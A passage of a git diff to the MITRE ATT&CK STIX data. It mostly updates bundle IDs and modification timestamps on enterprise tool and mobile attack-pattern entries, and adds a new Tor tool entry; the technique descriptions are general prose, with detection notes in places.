             "description": "Reg is a Windows utility used to interact with the Windows Registry. It can be used at the command-line interface to query, add, modify, and remove information. (Citation: Microsoft Reg)\n\nUtilities such as Reg are known to be used by persistent threats. (Citation: Windows Commands JPCERT)\n\nAliases: Reg, reg.exe",
             "labels": [
diff --git a/enterprise-attack/tool/tool--cf23bf4a-e003-4116-bbae-1ea6c558d565.json b/enterprise-attack/tool/tool--cf23bf4a-e003-4116-bbae-1ea6c558d565.json
index d6f29164d5..bd62bb8be6 100644
--- a/enterprise-attack/tool/tool--cf23bf4a-e003-4116-bbae-1ea6c558d565.json
+++ b/enterprise-attack/tool/tool--cf23bf4a-e003-4116-bbae-1ea6c558d565.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2e4ee26e-be2c-4014-8774-bc83d3f7341a",
+    "id": "bundle--139f3b95-2f13-48fb-9ab1-88ebe82067d6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:00.565Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "FTP",
             "description": "FTP is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data. (Citation: Wikipedia FTP)\n\nAliases: FTP, ftp.exe",
             "labels": [
diff --git a/enterprise-attack/tool/tool--d5e96a35-7b0b-4c6a-9533-d63ecbda563e.json b/enterprise-attack/tool/tool--d5e96a35-7b0b-4c6a-9533-d63ecbda563e.json
index 319878fa1b..d68bf1dea0 100644
--- a/enterprise-attack/tool/tool--d5e96a35-7b0b-4c6a-9533-d63ecbda563e.json
+++ b/enterprise-attack/tool/tool--d5e96a35-7b0b-4c6a-9533-d63ecbda563e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--22b6ab63-5e59-4429-a07f-683f8720dcf2",
+    "id": "bundle--6ea8b5e0-b214-405d-ac3f-b2b71cd87949",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "tool--d5e96a35-7b0b-4c6a-9533-d63ecbda563e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:32.011Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "HTRAN",
             "description": "HTRAN is a tool that proxies connections through intermediate hops and aids users in disguising their true geographical location. It can be used by adversaries to hide their location when interacting with the victim networks.  (Citation: Operation Quantum Entanglement)\n\nAliases: HTRAN, HUC Packet Transmit Tool",
             "labels": [
diff --git a/enterprise-attack/tool/tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68.json b/enterprise-attack/tool/tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68.json
new file mode 100644
index 0000000000..d949fb7b37
--- /dev/null
+++ b/enterprise-attack/tool/tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68.json
@@ -0,0 +1,37 @@
+{
+    "type": "bundle",
+    "id": "bundle--9a733bc1-ed41-4b97-bacf-a2923c351318",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "tool",
+            "id": "tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Tor",
+            "description": "Tor is a software suite and network that provides increased anonymity on the Internet. It creates a multi-hop proxy network and utilizes multilayer encryption to protect both the message and routing information. Tor utilizes \"Onion Routing,\" in which messages are encrypted with multiple layers of encryption; at each step in the proxy network, the topmost layer is decrypted and the contents forwarded on to the next node until it reaches its destination. (Citation: Dingledine Tor The Second-Generation Onion Router)\n\nAliases: Tor",
+            "labels": [
+                "tool"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0183",
+                    "external_id": "S0183"
+                },
+                {
+                    "source_name": "Dingledine Tor The Second-Generation Onion Router",
+                    "description": "Roger Dingledine, Nick Mathewson and Paul Syverson. (2004). Tor: The Second-Generation Onion Router. Retrieved December 21, 2017.",
+                    "url": "http://www.dtic.mil/dtic/tr/fulltext/u2/a465464.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "Tor"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/tool/tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db.json b/enterprise-attack/tool/tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db.json
index 4e9a4667d0..b194ffa288 100644
--- a/enterprise-attack/tool/tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db.json
+++ b/enterprise-attack/tool/tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1bf7028a-bd7b-4249-8583-8c4ff706718a",
+    "id": "bundle--6e3e48e8-c58e-4935-82af-bb503b4c9d2b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:21.771Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "PsExec",
             "description": "PsExec is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers. (Citation: Russinovich Sysinternals) (Citation: SANS PsExec)\n\nAliases: PsExec",
             "labels": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--0bcc4ec1-a897-49a9-a9ff-c00df1d1209d.json b/mobile-attack/attack-pattern/attack-pattern--0bcc4ec1-a897-49a9-a9ff-c00df1d1209d.json
index 02de63044e..223c3bf01d 100644
--- a/mobile-attack/attack-pattern/attack-pattern--0bcc4ec1-a897-49a9-a9ff-c00df1d1209d.json
+++ b/mobile-attack/attack-pattern/attack-pattern--0bcc4ec1-a897-49a9-a9ff-c00df1d1209d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--138fbc7e-c80f-4ba0-a214-cf989279d615",
+    "id": "bundle--288d5f15-9ccf-4cbd-b626-914d6de540c5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--0bcc4ec1-a897-49a9-a9ff-c00df1d1209d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:08.155Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Malicious SMS Message",
             "description": "An SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device. For example, Mulliner and Miller demonstrated such an attack against the iPhone in 2009 as described in  (Citation: Forbes-iPhoneSMS).\n\nAn SMS message could also contain a link to a web site containing malicious content designed to exploit the device web browser.\n\nAs described by SRLabs in  (Citation: SRLabs-SIMCard), vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--0c71033e-401e-4b97-9309-7a7c95e43a5d.json b/mobile-attack/attack-pattern/attack-pattern--0c71033e-401e-4b97-9309-7a7c95e43a5d.json
index fa82fde42f..031e7d88cc 100644
--- a/mobile-attack/attack-pattern/attack-pattern--0c71033e-401e-4b97-9309-7a7c95e43a5d.json
+++ b/mobile-attack/attack-pattern/attack-pattern--0c71033e-401e-4b97-9309-7a7c95e43a5d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bc3093b2-ae67-4f4b-9694-17fe5ef201a1",
+    "id": "bundle--91f2017f-9bde-418b-b4a1-256e66a65a28",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--0c71033e-401e-4b97-9309-7a7c95e43a5d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:18.237Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Obtain Device Cloud Backups",
             "description": "An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud backup services (e.g. Google's Android backup service or Apple's iCloud) could use that access to obtain sensitive data stored in device backups. For example, the Elcomsoft Phone Breaker product advertises the ability to retrieve iOS backup data from Apple's iCloud (Citation: Elcomsoft-EPPB).\n\nDetection: Google provides the ability for users to view their account activity. Apple iCloud also provides notifications to users of account activity.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--11bd699b-f2c2-4e48-bf46-fb3f8acd9799.json b/mobile-attack/attack-pattern/attack-pattern--11bd699b-f2c2-4e48-bf46-fb3f8acd9799.json
index d8da9478e7..d5922ddab7 100644
--- a/mobile-attack/attack-pattern/attack-pattern--11bd699b-f2c2-4e48-bf46-fb3f8acd9799.json
+++ b/mobile-attack/attack-pattern/attack-pattern--11bd699b-f2c2-4e48-bf46-fb3f8acd9799.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--60160cc9-4060-4561-8b71-449187520695",
+    "id": "bundle--117f15de-ec30-4e9f-8a49-3bb8c45a0179",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--11bd699b-f2c2-4e48-bf46-fb3f8acd9799",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:30.462Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Insecure Third-Party Libraries",
             "description": "Third-party libraries incorporated into mobile apps could contain malicious behavior, privacy-invasive behavior, or exploitable vulnerabilities. An adversary could deliberately insert malicious behavior or could exploit inadvertent vulnerabilities.\n\nFor example, Ryan Welton of NowSecure identified exploitable remote code execution vulnerabilities in a third-party advertisement library (Citation: NowSecure-RemoteCode). Grace et al. identified security issues in mobile advertisement libraries (Citation: Grace-Advertisement).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--198ce408-1470-45ee-b47f-7056050d4fc2.json b/mobile-attack/attack-pattern/attack-pattern--198ce408-1470-45ee-b47f-7056050d4fc2.json
index a32a6a8f6e..c89b4167e0 100644
--- a/mobile-attack/attack-pattern/attack-pattern--198ce408-1470-45ee-b47f-7056050d4fc2.json
+++ b/mobile-attack/attack-pattern/attack-pattern--198ce408-1470-45ee-b47f-7056050d4fc2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8b93fa80-05d0-49e1-8aa3-3ceaa1d49d0b",
+    "id": "bundle--536a86a9-3c40-4352-9a0e-3bd9cb25d05a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--198ce408-1470-45ee-b47f-7056050d4fc2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:28.067Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Application Discovery",
             "description": "Adversaries may seek to identify all applications installed on the device. One use case for doing so is to identify the presence of endpoint security applications that may increase the adversary's risk of detection. Another use case is to identify the presence of applications that the adversary may wish to target.\n\nOn Android, applications can use methods in the PackageManager class (Citation: Android-PackageManager) to enumerate other apps installed on device, or an entity with shell access can use the pm command line tool.\n\nOn iOS, apps can use private API calls to obtain a list of other apps installed on the device as described by Kurtz (Citation: Kurtz-MaliciousiOSApps), however use of private API calls will likely prevent the application from being distributed through Apple's App Store.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--1b51f5bc-b97a-498a-8dbd-bc6b1901bf19.json b/mobile-attack/attack-pattern/attack-pattern--1b51f5bc-b97a-498a-8dbd-bc6b1901bf19.json
index 9b2ac5d864..5d03fda03b 100644
--- a/mobile-attack/attack-pattern/attack-pattern--1b51f5bc-b97a-498a-8dbd-bc6b1901bf19.json
+++ b/mobile-attack/attack-pattern/attack-pattern--1b51f5bc-b97a-498a-8dbd-bc6b1901bf19.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c81e8e13-ed8d-4f08-bce4-a26e77e7166b",
+    "id": "bundle--05818bc9-9d42-405c-bc64-3775f2a6d917",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--1b51f5bc-b97a-498a-8dbd-bc6b1901bf19",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:33.926Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Process Discovery",
             "description": "On Android versions prior to 5, applications can observe information about other processes that are running through methods in the ActivityManager class. On Android versions prior to 7, applications can obtain this information by executing the <code>ps</code> command, or by examining the <code>/proc</code> directory. Starting in Android version 7, use of the Linux kernel's <code>hidepid</code> feature prevents applications (without escalated privileges) from accessing this information (Citation: Android-SELinuxChanges).\n\nPlatforms: Android",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--1f96d624-8409-4472-ad8a-30618ee6b2e2.json b/mobile-attack/attack-pattern/attack-pattern--1f96d624-8409-4472-ad8a-30618ee6b2e2.json
index 24b91b7a49..a176d015ea 100644
--- a/mobile-attack/attack-pattern/attack-pattern--1f96d624-8409-4472-ad8a-30618ee6b2e2.json
+++ b/mobile-attack/attack-pattern/attack-pattern--1f96d624-8409-4472-ad8a-30618ee6b2e2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--07eec406-4ba5-4e08-840c-e964550f7325",
+    "id": "bundle--1708133c-73a8-4e32-9517-e65385f9c5c2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--1f96d624-8409-4472-ad8a-30618ee6b2e2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:10.699Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "App Delivered via Email Attachment",
             "description": "The application is delivered as an email attachment.\n\nDetection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices. Enterprise email security solutions can identify the presence of Android or iOS application packages within email messages.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--2204c371-6100-4ae0-82f3-25c07c29772a.json b/mobile-attack/attack-pattern/attack-pattern--2204c371-6100-4ae0-82f3-25c07c29772a.json
index b692988f98..5c3bdb04bc 100644
--- a/mobile-attack/attack-pattern/attack-pattern--2204c371-6100-4ae0-82f3-25c07c29772a.json
+++ b/mobile-attack/attack-pattern/attack-pattern--2204c371-6100-4ae0-82f3-25c07c29772a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4ba3e7be-1262-4da9-ae20-ab296a1e8971",
+    "id": "bundle--eb497c86-65fc-4dc5-9e0b-5d489a374c2c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--2204c371-6100-4ae0-82f3-25c07c29772a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:08.613Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Abuse Accessibility Features",
             "description": "A malicious app could abuse Android's accessibility features to capture sensitive data or perform other malicious actions, as demonstrated in a proof of concept created by Skycure (Citation: Skycure-Accessibility).\n\nPlatforms: Android",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--22379609-a99f-4a01-bd7e-70f3e105859d.json b/mobile-attack/attack-pattern/attack-pattern--22379609-a99f-4a01-bd7e-70f3e105859d.json
index c40a0f4626..870331d7e0 100644
--- a/mobile-attack/attack-pattern/attack-pattern--22379609-a99f-4a01-bd7e-70f3e105859d.json
+++ b/mobile-attack/attack-pattern/attack-pattern--22379609-a99f-4a01-bd7e-70f3e105859d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--523f9183-7d4f-4cc5-b726-d88f67cf8afb",
+    "id": "bundle--fee3a5bf-d291-4748-8a10-119919d937ad",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--22379609-a99f-4a01-bd7e-70f3e105859d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:13.259Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exploit Enterprise Resources",
             "description": "Adversaries may attempt to exploit enterprise servers, workstations, or other resources over the network. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--29e07491-8947-43a3-8d4e-9a787c45f3d3.json b/mobile-attack/attack-pattern/attack-pattern--29e07491-8947-43a3-8d4e-9a787c45f3d3.json
index d777e59e4b..1a1e23494c 100644
--- a/mobile-attack/attack-pattern/attack-pattern--29e07491-8947-43a3-8d4e-9a787c45f3d3.json
+++ b/mobile-attack/attack-pattern/attack-pattern--29e07491-8947-43a3-8d4e-9a787c45f3d3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--af2d50d9-873b-46c9-88cd-6fcb9c93ff80",
+    "id": "bundle--b642ce68-7d81-4009-83be-32303ed6b39a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--29e07491-8947-43a3-8d4e-9a787c45f3d3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:17.176Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Access Sensitive Data in Device Logs",
             "description": "On versions of Android prior to 4.1, an adversary may use a malicious application that holds the READ_LOGS permission to obtain private keys, passwords, other credentials, or other sensitive data stored in the device's system log. On Android 4.1 and later, an adversary would need to attempt to perform an operating system privilege escalation attack to be able to access the log.\n\nPlatforms: Android",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--2de38279-043e-47e8-aaad-1b07af6d0790.json b/mobile-attack/attack-pattern/attack-pattern--2de38279-043e-47e8-aaad-1b07af6d0790.json
index 064cebb4cf..a8ed188198 100644
--- a/mobile-attack/attack-pattern/attack-pattern--2de38279-043e-47e8-aaad-1b07af6d0790.json
+++ b/mobile-attack/attack-pattern/attack-pattern--2de38279-043e-47e8-aaad-1b07af6d0790.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--51e4b74b-a4ff-46c6-a95d-3118aa19afc7",
+    "id": "bundle--b703c923-1b07-488f-9eb5-37e0972375d8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--2de38279-043e-47e8-aaad-1b07af6d0790",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:26.890Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Network Service Scanning",
             "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans from the mobile device. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--351c0927-2fc1-4a2c-ad84-cbbee7eb8172.json b/mobile-attack/attack-pattern/attack-pattern--351c0927-2fc1-4a2c-ad84-cbbee7eb8172.json
index 6ddfbbd278..7923da336d 100644
--- a/mobile-attack/attack-pattern/attack-pattern--351c0927-2fc1-4a2c-ad84-cbbee7eb8172.json
+++ b/mobile-attack/attack-pattern/attack-pattern--351c0927-2fc1-4a2c-ad84-cbbee7eb8172.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3bcd0b6b-59e7-4ff1-af19-77aaf8df76ec",
+    "id": "bundle--464824c1-a224-4425-911e-df8ae198ee6c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--351c0927-2fc1-4a2c-ad84-cbbee7eb8172",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:29.405Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exploit OS Vulnerability",
             "description": "A malicious app can exploit unpatched vulnerabilities in the operating system to obtain escalated privileges.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--3911658a-6506-4deb-9ab4-595a51ae71ad.json b/mobile-attack/attack-pattern/attack-pattern--3911658a-6506-4deb-9ab4-595a51ae71ad.json
index 323ee7939b..158f1e056c 100644
--- a/mobile-attack/attack-pattern/attack-pattern--3911658a-6506-4deb-9ab4-595a51ae71ad.json
+++ b/mobile-attack/attack-pattern/attack-pattern--3911658a-6506-4deb-9ab4-595a51ae71ad.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--25ff5d3e-2013-479e-8e23-797c2d8de31b",
+    "id": "bundle--0d3f56b6-1543-4f9d-845b-93d23fa63864",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--3911658a-6506-4deb-9ab4-595a51ae71ad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:16.650Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Commonly Used Port",
             "description": "Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--393e8c12-a416-4575-ba90-19cc85656796.json b/mobile-attack/attack-pattern/attack-pattern--393e8c12-a416-4575-ba90-19cc85656796.json
index 32f2050114..bc9567f247 100644
--- a/mobile-attack/attack-pattern/attack-pattern--393e8c12-a416-4575-ba90-19cc85656796.json
+++ b/mobile-attack/attack-pattern/attack-pattern--393e8c12-a416-4575-ba90-19cc85656796.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1714e64c-31a3-42f5-9b87-e10cc928d590",
+    "id": "bundle--8295d665-7828-4c87-910e-b04af8d3eb1f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--393e8c12-a416-4575-ba90-19cc85656796",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:26.104Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Eavesdrop on Insecure Network Communication",
             "description": "If network traffic between the mobile device and remote servers is unencrypted or is encrypted in an insecure manner, then an adversary positioned on the network can eavesdrop on communication. For example, He et al. (Citation: mHealth) describe numerous healthcare-related applications that did not properly protect network communication.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--3b0b604f-10db-41a0-b54c-493124d455b9.json b/mobile-attack/attack-pattern/attack-pattern--3b0b604f-10db-41a0-b54c-493124d455b9.json
index cb26f3e5df..d6cda01ba7 100644
--- a/mobile-attack/attack-pattern/attack-pattern--3b0b604f-10db-41a0-b54c-493124d455b9.json
+++ b/mobile-attack/attack-pattern/attack-pattern--3b0b604f-10db-41a0-b54c-493124d455b9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f6dfcf84-1e46-4571-b395-cf18265080cf",
+    "id": "bundle--4d07cfc4-3116-4cb5-8719-205febbde6b2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--3b0b604f-10db-41a0-b54c-493124d455b9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:14.982Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Network Traffic Capture or Redirection",
             "description": "An adversary may capture network traffic to and from the device to obtain credentials or other sensitive data, or redirect network traffic to flow through an adversary-controlled gateway to do the same.\n\nA malicious app could register itself as a VPN client on Android or iOS to gain access to network packets. However, on both platforms, the user must grant consent to the app to act as a VPN client, and on iOS the app requires a special entitlement that must be granted by Apple.\n\nAlternatively, if a malicious app is able to escalate operating system privileges, it may be able to use those privileges to gain access to network traffic.\n\nAn adversary could redirect network traffic to an adversary-controlled gateway by establishing a VPN connection or by manipulating the device's proxy settings. For example, Skycure (Citation: Skycure-Profiles) describes the ability to redirect network traffic by installing a malicious iOS Configuration Profile.\n\nIf applications encrypt their network traffic, sensitive data may not be accessible to an adversary, depending on the point of capture.\n\nDetection: On both Android and iOS the user must grant consent to an app to act as a VPN. Both platforms also provide visual context to the user in the top status bar when a VPN connection is in place.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--3dd58c80-4c2e-458c-9503-1b2cd273c4d2.json b/mobile-attack/attack-pattern/attack-pattern--3dd58c80-4c2e-458c-9503-1b2cd273c4d2.json
index 05a05f7e52..1f63f640aa 100644
--- a/mobile-attack/attack-pattern/attack-pattern--3dd58c80-4c2e-458c-9503-1b2cd273c4d2.json
+++ b/mobile-attack/attack-pattern/attack-pattern--3dd58c80-4c2e-458c-9503-1b2cd273c4d2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b6c91ec9-ef44-4e90-95f5-8abaddf9b7b7",
+    "id": "bundle--349cba8a-2e60-439b-8b22-57a9de0b5b16",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--3dd58c80-4c2e-458c-9503-1b2cd273c4d2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:34.407Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "User Interface Spoofing",
             "description": "At least three methods exist to perform User Interface Spoofing:\n\nFirst, on both Android and iOS, an adversary could impersonate the user interface of a legitimate app or device function to trick a user into entering account credentials. \n\nSecond, on both Android and iOS, a malicious app could impersonate the identity of another app in order to trick users into installing and using it.\n\nThird, on older versions of Android, a malicious app could abuse mobile operating system features to interfere with a running legitimate app as described in  (Citation: Felt-PhishingOnMobileDevices) and  (Citation: Hassell-ExploitingAndroid). However, this technique appears to have been addressed starting in Android 5.0 with the deprecation of the Android's ActivityManager.getRunningTasks method and modification of its behavior (Citation: Android-getRunningTasks) and further addressed in Android 5.1.1 (Citation: StackOverflow-getRunningAppProcesses) to prevent a malicious app from determining what app is currently in the foreground.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--45dcbc83-4abc-4de1-b643-e528d1e9df09.json b/mobile-attack/attack-pattern/attack-pattern--45dcbc83-4abc-4de1-b643-e528d1e9df09.json
index 98e37ececf..81afacd1b8 100644
--- a/mobile-attack/attack-pattern/attack-pattern--45dcbc83-4abc-4de1-b643-e528d1e9df09.json
+++ b/mobile-attack/attack-pattern/attack-pattern--45dcbc83-4abc-4de1-b643-e528d1e9df09.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f88427f9-8899-4658-82ae-6cc400947e00",
+    "id": "bundle--cfdde659-57d4-4254-93f9-5a380ff0da94",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--45dcbc83-4abc-4de1-b643-e528d1e9df09",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:24.069Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Biometric Spoofing",
